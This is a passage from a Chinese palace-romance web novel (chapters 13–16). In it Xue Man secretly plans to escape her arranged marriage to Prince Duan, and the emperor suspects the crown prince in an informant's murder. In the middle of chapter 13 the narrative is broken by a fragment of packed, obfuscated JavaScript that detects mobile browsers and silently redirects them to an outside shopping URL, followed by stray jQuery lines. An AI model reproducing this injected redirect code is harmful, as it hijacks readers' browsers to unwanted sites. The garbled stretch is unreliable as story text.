她满脑子充斥着愤慨,片刻后把心一横,双手钩住他的脖颈,闭眼迎了上去。 下一瞬,裴长旭偏身躲开,顺势将下巴搁在她的肩膀,轻松将献吻化为拥抱。 他道:“都是我的错,近段时间因公务而疏忽了你,从明日起我便早早归府,陪你画画下棋荡秋千,可好?” 他边说话,边暗自平息心底躁动。他是血气方刚的正常青年,对阿满当然会有亲密的渴望。平日之所以恪守礼规,一是怕吓到她,二是希望在明媒正娶后,与阿满拥有最难忘的初体验。 他们即将大婚,有些事不急在一时。 可惜人心隔着肚皮,薛满不知他所想,他也猜不到薛满的绝望。 言语能够惑人,行动则不然。哪怕她主动献吻,他仍下意识地躲避,足可见他果真不爱她。 她眼神空洞,那双习惯拥抱他的手抬起又无力垂落。 今后的路,她该何去何从? * 人在彷徨无助时,总想依赖身边的亲朋好友。薛满本想去找好姐妹裴唯宁商量对策,细思过后,悲哀地发现一件事:在小宁无来由地试探,若三哥非要纳妾她能否接受时,小宁恐怕便已知情。 往深处想,不仅小宁,甚至于姑母,姑父,太子哥哥…… 这些她视为人生中不可或缺的亲人们,联手将她蒙在鼓里,使她成了一个任人愚弄的傻子。 她以为的爱情是假,亲情是假,将来亦是假的。不会有婚后琴瑟和鸣,不会有亲上加亲,换个说法,根本不会有端王与表妹薛满的那场大婚。 走错的路得及时回首,牵错的人要断然放手。 薛满流干了眼泪,麻木地想:她主动退出,将端王妃的位子让给正确的人,想必便能补偏救弊。 除了她,所有人都能欢喜。 13. 第 13 章 裴、薛两姓世代交好,薛满与裴长旭的婚约由景帝亲指,薛满想要临时悔婚,可谓难于登天。 她虽天真,却不糊涂:姑父、姑母久居高位,金口玉言,万不会因她或三哥的小情小爱便废除两家联姻。恐怕还是像从前一般,送走江诗韵,硬逼三哥与她成亲。待到将来,他们发现三哥非江诗韵不可,随意找个借口便能拨乱反正,而她的人生已没有重来的机会。 届时,等着她的只有阴暗恶臭、爬满老鼠毒虫的牢房…… 薛满打了个寒战,愈发坚定要悔婚的念头。但思来想去,竟在京城找不出其他依靠,正苦恼之际,脑中蹦出一个人来。 她的祖父薛科诚。 薛科诚曾任丞相兼之帝师,其德高望重,才学渊博,深得景帝敬仰。当年薛修平因意外去世,薛老夫人不久后也跟着离世,薛科诚大受打击,身体每况愈下,没过多久便辞去官职,定居东海边的白鹿城。此番薛满与裴长旭大婚,薛科诚因身体抱恙,不便前来,但早已托人带来贺信与厚礼。 薛满若想顺利解除婚约,唯一的方法便是请祖父出山。只要她动之以情,晓之以理,祖父这般深明大义,定能理解她的苦衷。 恍惚间,她仿佛回到多年前与祖父分别的那一幕:送君亭外,群峦叠嶂,日影西斜。长长的官道绵延天际,祖父身姿如松,神色平静中透着依恋,对她道:阿满,经此一别,我们祖孙二人不知何时能够再见。祖父本想带你一同走,但顾及你年岁尚幼,人生当丰富多彩,而非与我蹉跎时日。是以将你托付给你姑母,望你今后平顺安乐,无忧无虑。 祖父,阿满如今受了委屈,您会帮阿满主持公道,对吗? 她心中燃起希望,没开心多久,便想到关键的问题:白鹿城路途遥远,往常信使来回一趟便要耗时月余。而她与三哥的婚礼只剩下短短二十日,即便她马上差人快马加鞭送信,祖父也不可能及时赶到京城。更何况祖父年事已高,她怎么忍心让他鞍马劳顿,昼夜兼程? 不不不,她得换个思路。 没等薛满想明白,明荟掀帘进屋,见主子还在床上靠着,柔声问:“小姐,今日天气好,您可要去外面走走?” 薛满钻进被窝,闷声道:“不去。” “好,那奴婢陪您在屋里休息。” 她将窗户开了条缝,取出花瓶里的隔夜花枝,换上新鲜的、含苞待放的海棠花,香气浅淡清新。 她悄悄望向薛满,心有余悸地想:幸亏小姐没事,否则端王殿下不罚他们,他们一个个亦得羞愧自尽。 薛满这场病来得又急又凶,除了几名护卫,无人晓得真实缘由。明荟也当她是备婚累到极点,丁点没联想到此事因自己而起。 她试图说点轻松的话题,“您病的时候,兵部尚书府发生了件大事。” 薛满有气无力地道:“什么大事?” “兵部裘尚书家的三小姐与光禄寺卿家的周二公子有婚约,月初便是婚期。岂料成婚当天,裘家到处都找不到裘三小姐,只找到一封书信,信里写着:裘三小姐不满包办婚约,深思熟虑后,决意离家,以逃婚明志。” “……逃婚?” “没错,这会整个尚书府都忙着找裘三小姐,想逮她回来拜堂成亲。但周家昨儿放出话,称裘三小姐荡然肆志,任性妄为,此桩婚事就此作罢。” “婚事作罢?” “对,周家给裘家递了解婚书,裘三小姐便是回来也无济于事。” 薛满浑身一震,如梦初醒。她怎么没想到,她也可以逃婚呐!便学那裘三小姐,留下一封书信,潇洒地离开京城,把所有的烂摊子都留给三哥和江诗韵。她则一路南下,去白鹿城投靠祖父,等往后京里的人找到白鹿城时,横竖婚事已废,他们还能当着祖父的面,捉拿她归案不成? “明荟。” “奴婢在。” “去库房领赏。” “?” 明荟莫名其妙得了赏赐,殊不知,她的无心之言,已牵引薛满走向人生的全新历程—— 一段充满希望,风景无限好的全新历程。 * 薛满拖着病躯,再度躲进书房。她在书案上平铺开大周地图,目光沿着东海岸搜索,半晌后,从纷杂的地名中找到标记着白鹿城的小小图案。她用红线连接起京城与白鹿城,瞪圆一双眼,仔细研究两地间的水、陆通行。 京城与白鹿城相隔甚远,从地图上瞧,并无直接相连的陆路或水路。好在薛满曾坐船到过扬州,她清楚地记得,那艘船的终点是杭州,离白鹿城不算远。或许她可以先走水路到杭州,再从杭州转至白鹿城。 她思绪一凝,不由自主地想:彼时她与小宁结伴,坐船顺京泷江而下,沿途游玩,半个月后抵达扬州。也正是在扬州,自己救了江诗韵,好心将她带回京城,岂料会引发后续的一系列糟心事。 若她当初没去扬州,她和三哥会不会…… 罢了。 薛满甩开妄想,重新看向地图,一个胆大而冒险的计划正徐徐成型。 “先坐马车到荣帆码头乘船,一路坐到杭州,然后雇辆马车到白鹿城……” 嗯,可行可行。 “得多带点银票,不能戴任何首饰,最好是扮丑,旁人不愿多看一眼的那种丑……” 嗯嗯,机智机智。 她埋头苦写,在纸上列明“逃婚注意事项”,态度之专注,连明荟在外敲好几下门都没注意。 “哎呀!”门外的裴唯宁急得跺脚,“她该不是又晕了吧!” 明荟慌张不已,“那奴婢、奴婢这就喊人来撬门。” “还叫什么人,我踹开它便是!” 裴唯宁提起裙摆,气势汹汹地抬脚,眼看要踹上门板,两扇门忽地由内打开—— 薛满俏生生地站立,眉头轻蹙,似有不悦。 裴唯宁立马端正姿态,热泪盈眶地伸手,“阿满,我可算见到你了!” 换作往常,薛满定欢喜地回抱住她,此刻却不然。 “嗯。”她往后退了一步,冷淡地道:“我身体不适,怕传染你病气。” 裴唯宁粗心大意,并未发觉异常,“无碍无碍,我身体好得很,昨儿蹴鞠还赢了比赛呢。” 她勾着薛满的手,径直往书房里走,“前些日子,三哥拦着不让我见你,可把我给急坏了。” 薛满露出一抹苦笑,她相信小宁的关怀是真,但与此同时,小宁也对她有所隐瞒。 表姐妹终究比不过亲兄妹,是吗? 进入里间,裴唯宁一眼便瞧见书案上的地图,好奇地问:“你方才在做什么?” 薛满捏紧袖子,里头藏着她刚写的那份“计划书”,决不能让小宁看出端倪。 她撒了谎,“我在看三哥的封地位置。” “三哥的封地在泝州,你瞧,在这。”裴唯宁指着地图上的泝字,道:“我查过,泝州历来是膏腴之地,从京城过去约莫要两千里路。” “那么远?” “是啊,等你们成亲后前往封地,我们不知何时才能重聚。”裴唯宁有些伤感,“今后我想你了该怎么办?” 薛满垂眸,心道:无论远或不远,和她都没有关系,反正跟随三哥去封地的另有他人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573673|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她道:“将来的事,将来再说吧。” “不远了,就年底的事。”裴唯宁摩挲着下巴,问:“要么我跟父皇母后求求情,许你们晚点再出发?” 薛满摇头,转移话题道:“小宁,你还记得扬州吗?” “当然记得,那时我们念李绅的诗,诗里写道:‘江横渡阔烟波晚,潮过金陵落叶秋。嘹唳塞鸿经楚泽,浅深红树见扬州’①,可见扬州是极美的地方。”裴唯宁道:“于是你我分头去央求三哥和母后,征得他们的同意后,趁着春日去了扬州。” “青山隐隐水迢迢,烟雨朦胧是江南,扬州比诗中描绘得更美。”薛满语气一转,黯然道:“但我却想,当初没去扬州该多好。” 裴唯宁明白她话中的含义,无非是后悔在扬州救了江诗韵那白眼狼! 她习惯性地劝道:“阿满,你放宽心,旧事都翻篇了。” “真翻篇了吗?” 裴唯宁一愣,眼神微有闪烁,显然是想到了什么。 薛满定定地望着她,等待片刻,见她轻抚鼻梁,干巴巴地道:“呵呵,当然。” 这一瞬,薛满彻底死心,背身闭眼,脸颊滑落两道泪痕。 “小宁,我头疼,想回房休息会儿。” “那我改日再来看你。”裴唯宁体贴地道:“对了,我今日是奉母后的命,特意来给你送成亲的婚服与凤冠,等你有精神了便穿戴试试。” “嗯。” 裴唯宁走后,薛满平复许久,佯装无事地回到卧房。 明萱等人正围着几个红木箱子打转,兴奋地嘀咕:“不知小姐的婚服与彩冠是什么模样?” “既是凤冠霞帔,自是精致华贵,美轮美奂。” “小姐穿上定会艳压群芳,迷倒端王殿下。” “嘻嘻,那还用说?端王殿下真是有福气,能娶到咱们美丽又善解人意的小姐。” 薛满倚在门边,迟迟没有出声。她曾心心念念的鼓乐彩舆,凤冠霞帔,花烛拜堂…… 到头来,皆是她的虚妄。 “小姐。”明荟笑眯眯地问:“离晚膳还有半个时辰,您要先试试婚服吗?” “试。”薛满自嘲地勾起唇角,“当然要试。” 这是她情窦初开后的执念,哪怕破碎,她也要抓住消逝前的美好。 婢女们心灵手巧,很快便为她穿戴好婚服。她们搬来一枚与人等高的铜镜,望着镜中的窈窕身影,一方面惊艳于婚服的繁复华灿,一方面赞叹薛满的娇美不俗。 “再戴上凤冠,点上红妆,小姐便是天底下最美的新娘!”明萱脱口而出道。 “那便替我扮上。” 婢女们得了命令,兴高采烈地替她绾好发髻,戴上沉重艳丽、珠翠生辉的凤冠。 装扮完毕后,婢女们束手立在一旁,由薛满站到铜镜前仔细端量。 原来这便是她穿上嫁衣的模样。 她伸出手,试图轻抚铜镜中的自己,指尖刚碰触到镜面,外面便传来裴长旭的声音。 “阿满,你快开门,我给你准备了件好玩的东西。” 薛满的动作一顿,长睫垂落,掩去眸中悲戚。 “殿下可不能进来。”明荟适时地道:“奴婢这就请他去花厅等候,等您换上常服再去见面。” “为何要换常服?” “您穿婚服的模样,得留到大婚时端王殿下揭盖头才能见呢。” 薛满沉默了会,内心涌现一股冲动,“去开门,直接请他进来。” 请他进来,亲眼看看他的表妹,他原本的妻子,穿上嫁衣时是何等模样。 14. 第 14 章 因薛满情绪不佳,裴长旭特意去猫市寻了只波斯小奶猫,想要以此讨她的欢心。 他抬起袖子,见奶猫钻在里头,睁着一双澈蓝的圆眸,不吵不闹地趴着。 乖巧伶俐,犹如阿满给他的感觉一般。 他眼中流露笑意,想象着阿满见到小东西时的反应。她定会喜笑颜开,扑进他的怀里,甜甜说道:三哥真好。 “奴婢参见端王殿下。”明荟身后跟着数人,从房内鱼贯而出,齐齐朝他行礼。 “嗯。”裴长旭道:“阿满在做什么?” “小姐在屋里。”明荟笑道:“正等着您呢。” 薛满生病时,几乎都是裴长旭在身边照顾,他在整个薛府出入自由,已然是另一个主子。 裴长旭颔首,注意到婢女们的神色雀跃,随口问道:“有何喜事,你们一个个笑这么开心?” 婢女们掩着唇笑,你一言我一语地道:“您进去看看便知。” “对,您快进去,别让小姐久等了。” 听话里的意思,莫非阿满也给他准备了惊喜? 裴长旭跨过门槛,外间空荡无人,里间有隐隐的烛光透出。他放轻脚步,掀开淡烟紫的门帘,看清屋内的情形后,霎时丧失思考的能力。 烛光昏黄,在绯红明艳的婚服上柔亮舒展,霞帔满绣,丝缎织金,裙摆摇摇,垂曳于地。 薛满头戴凤冠,侧首望向他,颊畔的金步摇随着动作轻微晃动。朦胧的暖色中,少女肤如凝脂,朱唇皓齿,一双美眸顾盼生辉,似有千言万语,欲说还休。 原来这便是古人所言之“虹裳霞帔步摇冠,钿璎累累佩珊珊”。 裴长旭忍不住地心旌摇荡,从前他总把阿满当作妹妹,觉得她年纪尚幼,还是个孩子。此刻他才意识到,阿满已褪去稚气,成为亭亭玉立,含苞待放的美丽少女。 他何其幸运,即将拥有天真美丽的她。 “三哥。”薛满率先出声,打破一片祥宁,“我好看吗?” 裴长旭喉结一动,声音变得低沉,“好看。” “有多好看?” “秀色掩今古,荷花羞玉颜。” “当真?” “若有半句虚言,长旭愿受雷霆之击。” 薛满杏眸微弯,笑颜动人,像绚丽春光,瞬间点亮整间卧房。 裴长旭走到她面前,右手捧起她的脸颊,情难自禁地缓缓俯首。薛满闭上眼,感受那近在咫尺的温热气息,到关键时刻,他却依旧选择抽身逃离。 “阿满。”他笑着转移话题,取出袖中小猫,“你看我给你带了什么玩意?” 小家伙仰头,配合地叫了声,“喵~” 薛满睁开眼,话语藏着几不可闻的颤抖,“是只波斯猫。” “对,是只刚满月的小波斯猫。”裴长旭屈指挠着它的脑袋,“你瞧它多可爱,今后你便养着它,闲时解闷逗乐。” “恐怕不行。” “为何?” 薛满多想开门见山地告诉他:因她幡然醒悟,不愿做他与江诗韵之间的绊脚石,要用逃婚纠正余生悲剧。 可她没有。 她道:“我不喜欢猫。” “是吗?我明明记得你说过想养猫。” “说过又如何?”薛满摇头,目光透着丝丝悲凉,“喜欢本就缥缈虚无,有时说散也便散了。” 裴长旭皱眉,扶着她的肩膀问:“阿满,你到底出了何事?” 薛满避而不答,她抬起眼眸,凝视他黝黑明亮的瞳孔,那里映着一个清晰而渺小的她。 “三哥,我要你答应我一件事。” “便是十件,百件,千件,我亦甘之如饴。” “不,一件足矣。”她道:“我要你记住我穿嫁衣的样子,一辈子都不许忘。” 裴长旭凝神片息,伸手拥她入怀,郑重许诺:“我答应你,此时此景,今生永不会忘。” * 没过多久,杜洋前来传话,称景帝宣裴长旭即刻前往宫中议事。 裴长旭叮嘱一番后,恋恋不舍地离开。薛满独自坐回梳妆台前,打开抽屉,取出一枚嵌贝彩漆首饰盒。 盒中存放着她最珍爱的物件,象牙梳、金臂钊、鸳鸯荷包、未经雕琢的彰化鸡血石…… 件件都有裴长旭的影子。 她呆愣得像根木头,泪一滴滴从眼眶坠落,打湿荷包上略显丑陋的鸳鸯。 她真傻,竟还心存奢望,期待他对她能有丁点的怜悯疼惜。现实却是无论她怎么努力,故事都会按着《旧雨重逢》的套路走。 放手吧,做个好人,成全他和江诗韵。 她以手掩面,呜咽许久,忽然想到了什么,掏出挂在颈间的红绳玉佩。 那是一块温润无瑕的祥云纹玉佩,背面刻着她的名,“满”字,自古以来被寄予无数的爱和期许。 这是她出生后,阿爹亲手雕刻的玉佩。哪怕时光变迁,他和阿娘逝世多年,她仍记得他们待她的珍视。 “阿爹,阿娘。”她用手背抹去眼泪,哽咽着道:“你们放心,阿满定会照顾好自己。” 离开三哥,她也能照顾好自己,比如今过得更好。 * 另一头,裴长旭被急召入皇城,由宫人直接领至广明殿。 殿内富丽堂皇,灯火通明,仿若白昼。四周各镇鎏金盘龙柱,栩栩如生,气魄夺人。与之相对的是龙椅上的景帝,他眉目深沉,神色捉摸不定,视线落在殿中央的年轻男子身上。 那人乃东宫太子裴长泽,他面容清俊,与景帝有五分相似,气质却是大相径庭。景帝身强体壮,稳重内蓄,不怒自威;他温文隽秀,身形消瘦,颇为书生意气。 处事上,景帝年轻时雷厉风行,胆大心细。太子则从小温良恭俭,谦虚谨慎。 裴长泽乃景帝的嫡长子,十岁入主东宫,被景帝当作下一任的君主培养。他宽厚仁慈,在民间名声极佳,然而这会不知犯了何事,正满头大汗地跪于殿中。 “父皇明鉴,儿臣对此事当真一无所知,不信您可以问太子妃,儿臣从昨日起便陪在她左右,半步都不曾离开。” 裴长泽焦急的辩解声回荡在养心殿中,景帝听后,慢条斯理地摩挲着玉扳指,并未表露想法。 殿外有人禀报:“端王殿下到!” 景帝道:“宣。” 裴长旭进入殿中,快速地看清一切。他不动声色地行至御前,掀袍跪地,朗声喊道:“儿臣参见父皇。” 景帝抬手,“起来说话。” 裴长旭依言起身,态度恭敬,又带着几分随性地道:“儿臣方才正陪着阿满试穿嫁衣,嫁衣做得甚是精巧。” 景帝往椅背靠了靠,“臭小子,那可是你母后日夜盯着御秀局做出来的衣裳,必定是无可挑剔。” “有劳母后费心。”裴长旭道:“等改日休沐,儿臣定亲自下厨,熬盅参汤给母后养血补气。” “君子远庖厨,有些话说说便算,当不得真。”景帝端起茶盏,问道:“护城河淤泥都清理干净了?” “小事一桩,明日便能结束。”裴长旭见气氛缓和,适时将话引入正题,“夜深露重,地 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三年前,景帝经过多方考量,决定对诸侯们施行削藩之策。因削藩力度强大,个别诸侯牢骚满腹,但面对来自朝廷,机不容发的全方位压迫,诸侯们别无他法,只得乖乖地顺应削藩。 广阑王便是其中一员。 他老谋深算,表里不一,面上支持拥护新政,暗地却因此大发雷霆。封地缩减,势力被割,日积月累下,他在兰塬苦心建立的威信便会烟消雾散,届时朝廷若想除掉他,简直是轻而易举。 过河拆桥,景帝真是打得一手好算盘呐! 广阑王不甘多年努力,一朝成为景帝嫁衣,深思熟虑后,竟走上了一条邪门歪道:他暗中与邻国南垗勾结,通过黑市、赌场等见不得人的途径,倒卖大周法典上白纸黑字列明的禁物。靠此手段,广阑王大肆收敛钱财,笼络官员,重新把持住权势,殊不知已破坏当地得来不易的平静。 南垗仗着有广阑王撑腰,行事愈发乖张,常在边界为非作歹,欺压大周百姓。百姓们苦不堪言,跑到官府上告,均是无疾而终。 曾有幕僚心存良知,多次劝诫广阑王收手,切莫养虎为患。广阑王不仅置若罔闻,更寻了莫须有的罪名,将他们当众处死,以儆效尤。 眼看广阑王执迷不悟,兰塬的百姓活得水深火热。本性正直的迟卫冒死收集好罪证,只身前往京城,决意向景帝揭发广阑王的所作所为。 这封信以迟卫的视角,详细地阐明来龙去脉,用词虽平铺直叙,却字字铿锵,发自肺腑。 纵观历史长河,藩王作乱的案例屡见不鲜,朝廷自有应对的一套方法。然而此事棘手在于,广阑王闵钊是太子裴长泽的亲舅舅。 裴长旭正色,“敢问父皇,此信从何而来?” 景帝道:“两日前,由刑部尚书史明呈到御前。” “除开信件,可附有其他佐证?” “那迟卫小儿行事严谨,声称要朕亲自接见,当面交出收集好的罪证。” 裴长旭反复斟酌,直言道:“儿臣以为,仅凭一封书信,恐怕难以辨别真伪,不妨等您见过迟卫后再做定夺。” “说得好。”景帝忽地抚掌大笑,眼神彻骨冰冷,“今日清晨,就在朕定好会面时间的不久后,迟卫便被人割喉身亡。” “……” 裴长旭不由望向太子,在这紧要关头,迟卫竟然死了,难怪父皇会将矛头对准皇兄。 毕竟血缘关系,是世上最难抹去的深刻羁绊。 15. 第 15 章 说起来,闵钊年纪轻轻便被封为广阑王,除去自身骁勇善战,亦少不得景帝的有心提拔。 景帝与已过世的闵皇后乃少年夫妻,许多年前,他只是个不受宠的皇子,闵皇后的父亲是辽东霸主,求娶者数不胜数。 偏闵皇后对巡视辽东的景帝一见钟情,不顾父亲阻拦,执意嫁给景帝。好在景帝不负所望,在先太子意外身亡后,景帝靠着多方支持,从一堆皇子中脱颖而出,顺利入主东宫。 彼时,景帝身边仅有闵皇后及薛、吴两位侧妃,子嗣并不丰裕。待他登上皇位后,众朝臣便立即上奏请他充盈后宫,一批又一批年轻靓丽的女子被送进后宫。闵皇后最初尚能自我宽慰,但随着时间推移,她日渐沉默,待景帝不复从前热烈。 而那时的景帝忙于政务,无暇顾及儿女私情,因此与闵皇后渐行渐远。 没过两年,闵皇后因病离世,景帝出于愧疚,对她的兄长闵钊倍加关照。 闵钊承袭其父之勇,天生善战,曾一度是景帝手中最锋利的宝剑。但随着热血褪去,浸染在富贵权势中的他亦难逃俗流,变得狂傲自满,对朝廷的某些传令嗤之以鼻。 是以,景帝以削藩之由,借机敲打闵钊,望他能审时度势,得休便休。 结果却令景帝大失所望,更甚至于,太子竟也淌了这趟浑水! “太子,你口口声声称对此事一无所知,那你又怎么解释,有人在迟卫住所附近见过你的事情?” “父皇,儿臣最近在调查户部侍郎贪墨一案,在城中四处搜寻线索。京城本就不大,儿臣兴许经过了那迟卫的住所,但这一切纯属巧合啊。” “哦?”景帝抚须冷笑,“你的意思是,史明替迟卫精心寻的藏匿处,便如街头菜市一般,谁都能来个巧遇?” “父皇,儿臣不是——” “迟卫之事,朕命史明严防死守,务必要保他周全。岂料仍有人功法通天,能抢在朕的前面,将他与证据毁得一干二净。”景帝危险地眯眸,意有所指地道:“看来朕岁数渐增,已到力不从心的年纪了。” 面对天子盛怒,裴长泽有口难辩,颓然跌坐在地。 “父皇。”出声的是裴长旭,他道:“儿臣相信皇兄与此事无关。” 景帝横眸向他,食指在龙椅扶手上轻轻跃动。 裴长旭面无所惧,不卑不亢地道:“皇兄自小得您悉心教导,秉性纯良,德行有目共睹。至于广阑王一事,先不提到底是真是假,只说他人在兰塬,和皇兄多年未见。皇兄贵为太子,岂能分不清亲疏远近?换个说法,皇兄真要冒险除去迟卫,大可派人秘密行事,又何须亲身上阵,给旁观者留下把柄?” 他条理清晰,辞顺理正,使景帝的怒火稍有平息。 “继续说。” “儿臣以为,当务之急是派人前往兰塬,调查广阑王的罪行是否属实,并同时侦查迟卫被害的真相。” 景帝转问裴长泽,“太子,朕问你,你可知情广阑王在兰塬的所作所为?” 裴长泽忙道:“回父皇,广阑王过去常驻辽东,儿臣和他向来无所交集。后来他远赴兰塬平定南境,儿臣与他更是音书两不闻,形同陌路人。” 见景帝沉吟不语,裴长泽凄惘地闭眸,“儿臣以母后的名义发誓,若有半字欺瞒,便叫儿臣天打雷劈,不得——” “够了。”景帝抬手,阻止他往下说,“朕暂且信你一回。” 裴长泽用袖子抹了把脸,向前拜倒,“儿臣谢过父皇,父皇万岁万岁万万岁!” 景帝喝了口茶,润润喉,问道:“依你所见,若要派人前往兰塬,谁最合适?” 裴长泽飞快地道:“儿臣以为,刑部尚书史明堪担此任。” 众所周知,史明刚正不阿,能谋善断,深得景帝看重。是以,太子的建议中规中矩,挑不出任何毛病。 景帝又问裴长旭,“旭儿的意见呢?” 裴长旭想了想,史明固然有本事,然而迟卫刚死,他作为知情人,并不能全然置身事外。 他想起一人,“儿臣倒有其他人选推荐。” “说来听听。” “都察院,左都御史俞晓东。” 俞晓东? 景帝回忆此人,他出身贫寒,行事稳妥,与闵氏一族素无瓜葛,派他去兰塬也算合适。 他拍板定案,“便派俞晓东去兰塬走一趟。” 裴长泽心绪复杂,还未说话,便见景帝支着额际,淡声道:“太子妃怀有身孕,正需要人悉心照顾。太子将手里的事放一放,近段时间留在东宫安心陪她。” 这话的意思是?! 裴长泽忍着晕眩,勉强笑道:“儿臣遵旨,谢父皇体恤。” “旭儿。” “儿臣在。” “迟卫遇害一案,便交由你去办,你可有信心办好?” “儿臣定当全力以赴,揪出幕后真凶。” 景帝疲惫地揉着眉心,“朕累了,都退下吧。” 两人应是,目送景帝消失在明黄色的帘帐后。裴长泽攥紧拳头,撑着膝盖,动作迟缓地站起身,岂料双腿一麻,整个人踉跄着往前扑倒—— 一双手稳稳扶住了他,他抬首,见裴长旭神情关切,“皇兄,你还好吗?” 裴长泽苦笑,“坏不到哪去。” 他借力站好,掸去衣袍上的尘土,用帕子捂住额间伤处,身姿恢复挺拔。 裴长旭道:“皇兄放心,父皇这会是在气头上,等过两天便好了。” 裴长泽摇摇头,道:“你无须安慰我,此事因广阑王而起,父皇猜疑我是情有可原。” “皇兄是皇兄,广阑王是广阑王,父皇定不会将你们混作一谈。” “但愿吧。”裴长泽拍拍他的肩膀,“今日幸好有你在。” 有些话即便不说出口,兄弟俩亦了然于心。方才若换个人来火上浇油,裴长泽的责罚绝不仅于禁足。 裴长旭道:“皇兄放心,我会趁早查明真相,还你一个清白。” “辛苦三弟……” 夜色阑珊,廊上宫灯通亮,徐徐拉长两人的影子。他们结伴往宫门外走,裴长旭无意间侧首,余光瞄到一名内侍从暗处闪过,正当他想提神再看,裴长泽的调侃在耳畔响起。 “三弟,你大婚在即,此时心情如何?” “咳咳咳咳,咳咳咳。” “诶,你我是亲兄弟,有什么可藏着掖着的?阿满性格好,相貌佳,又是你从小照顾到大的宝贝,你能娶到她真是三生有幸。” “皇兄说得没错。”裴长旭声音含笑,“能娶到阿满是我之幸,我甚喜也。” * 回到府中,裴长旭洗漱完毕,临睡之际,忽又召来杜洋问话。 “南溪别院最近可有来过什么人?” “回殿下,别院一切如常,并未来过旁人。” “七公主也没去?” “七公主一言九鼎,确实没再去过别院。” “薛府呢,这段时间有无要事发生?” “属下没听明荟说起过,应当是没有。” 裴长旭放下心,看来是他想岔了。阿满定是因为身体抱恙,以至于情绪波动,才会闹起小性子。 等成完婚,他得找个山清水秀的地方,带阿满去游玩散心,顺便向她坦白江书韵之事…… 随后几天,裴长旭忙得不可开交。在原本工部的公务上,他着手调查迟卫之死,再加上婚礼近在咫尺,使一向精力充沛的他都感到力不从心。 难得歇口气时,下人来报,称薛皇后请他到宫中共进晚膳。 裴长旭颇感意外,自上回不愉快的谈话后,母后待他便一直不冷不热,如今肯主动召见他,莫非是消气了? 待他赶到凤仪宫,映入眼帘的是满桌珍馐,以及雍容却依旧冷然的薛皇后。 母后还恼他呢。 他恭敬地道:“儿臣参见母后,母后千岁千岁千千岁。” 薛皇后扫了他一眼,“坐。” 裴长旭特意坐到薛皇后的身旁,右手摁着腹部,唉声叹气地道:“美酒佳肴,可惜可惜。” 薛皇后果然上钩,“可惜什么?” “可惜儿臣这几日胃心痛,除去馒头稀粥,其他吃食都需忌口。” 薛皇后没绷住姿态,用力打了下他的肩膀,“本宫早就叮嘱过你,再忙也得按时用三餐,你倒好,事事都是左耳进右耳出!” “痛痛痛。”裴长旭缩着肩膀,脸上却带着笑,“母后恕罪,儿臣知错了,今后定痛改前非,重新做人。” 他一语双关,变相跟薛皇后服了软。 薛皇后迅速恢复冷脸,“本宫找你来是为正事,你少跟我嬉皮笑脸。” 裴长旭拱手道:“母后请说,儿臣洗耳恭听。” 薛皇后理着袖摆,半抬着眼皮道:“本宫听闻,近日东宫出了件大事。” “哦?是何大事?”< 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张贵妃是皇太后的亲侄女,膝下育有九皇子康王,她生得貌美,能歌善舞,深得景帝宠爱,在后宫的地位仅次于薛皇后。 想当然了,她仗着有景帝与张太后撑腰,行事任性骄横,常常目中无人。面对薛皇后及几名子女时,她尚心存忌惮,但换作其他皇子皇女,甚至是东宫太子,私下都不见得有好脸色。 在她的眼里,太子凡才浅识,庸庸碌碌,完全是因景帝惦念旧情,才勉强坐上储君之位。而她家康王聪明机智,身后是世家大族,怎么看都比太子更能担重任。 是以,她与太后一搭一唱,没少在景帝耳边吹风。亏得景帝笃志英毅,从未将她们的话听进心里。 ——但今非昔比,若南边的消息属实,太子的地位必岌岌可危,那将来的事便不好说了。 裴长旭心如明镜,摇头说道:“张贵妃与太后未免太心急。” 薛皇后道:“你说心急吃不了热豆腐,他们却觉得打铁需趁热。” 裴长旭忆起那抹一闪而过的人影,结合其中的利害关系,脑中灵光乍现:此事牵涉甚广,或许他该将目光投向后宫,从太后和张贵妃身边入手调查,兴许能有出乎意料的发现。 薛皇后捻了颗荔枝,剥开粗糙的外壳,露出晶莹圆润的果实,递给他道:“关于此事,你有何想法?” 裴长旭接过荔枝,浅尝了一口,嗯,甜入心脾。 “母后是指?” “东宫倘若真乱了,你便没点想法?” 此话已近明示,裴长旭眸色深沉,道:“母后还记得闵皇后当年为何去世吗?” “……” 旁人不知,薛皇后却再清楚不过。闵皇后对景帝爱得刻骨铭心,无法接受他登基后不断宠幸嫔妃,在强烈的爱怨交织下,最终抑郁离世。 “儿臣不愿阿满做第二个闵皇后。” “……” 薛皇后短暂哑然,随即气不打一处来,“你说得比唱得还好听!” “儿臣句句都是肺腑之言。” “那好,本宫问你,你打算几时赶走那姓江的狐媚子?” “待成婚后,儿臣会尽快跟阿满坦白此事,届时我们会妥当处理好江书韵的去留。” 还非要等成婚后? 薛皇后不留情面地戳穿他,“本宫还当你吃准了阿满呢,却原来,你也怕婚事有变。” 裴长旭顾左言他,“母后,儿臣饿了,用膳吧。” 他提起玉箸,刚替皇后夹了一筷子春笋,门外便传来宫人的声音。 “皇后娘娘,端王殿下,杜洋称有急事须立刻禀报。” 薛皇后道:“叫他进来。” 下一刻,杜洋急赤白脸地冲进殿中,连行礼都顾不上,失声喊道:“皇后娘娘,殿下,薛小姐不见了!” 薛皇后倏地站起身,“你说清楚,什么叫薛小姐不见了?” “明、明荟说,薛小姐今日去明华寺礼佛,午后却凭空消失,到处找不见人。屋内只留下两封书信,其中一封写着,写着……” “快说,信里写了什么!” “信里写着,薛小姐是主动逃婚,与殿下的婚事就此作罢。” “啪”的一声脆响,是裴长旭手中的玉箸掉落在地。他神色愣怔,脑子一片空白。 怎么可能,阿满她……逃婚了? 16. 第 16 章 自小到大,薛满给身边人的感觉是聪明伶俐,贴心乖巧。乖巧中又带着活泼,而活泼后又是超越年龄的通情达理。 她出身世家,受万千宠爱,却不曾恃宠生骄。她父母早逝,倚仗着亲人们的疼惜,过着锦衣玉食、顺风顺水的生活。她从未将这一切视为理所当然,总是存心养性,好施乐善。 她努力地做好自己,希望能永远维持美好的当下,然而江诗韵出现后,慢慢地都变了。 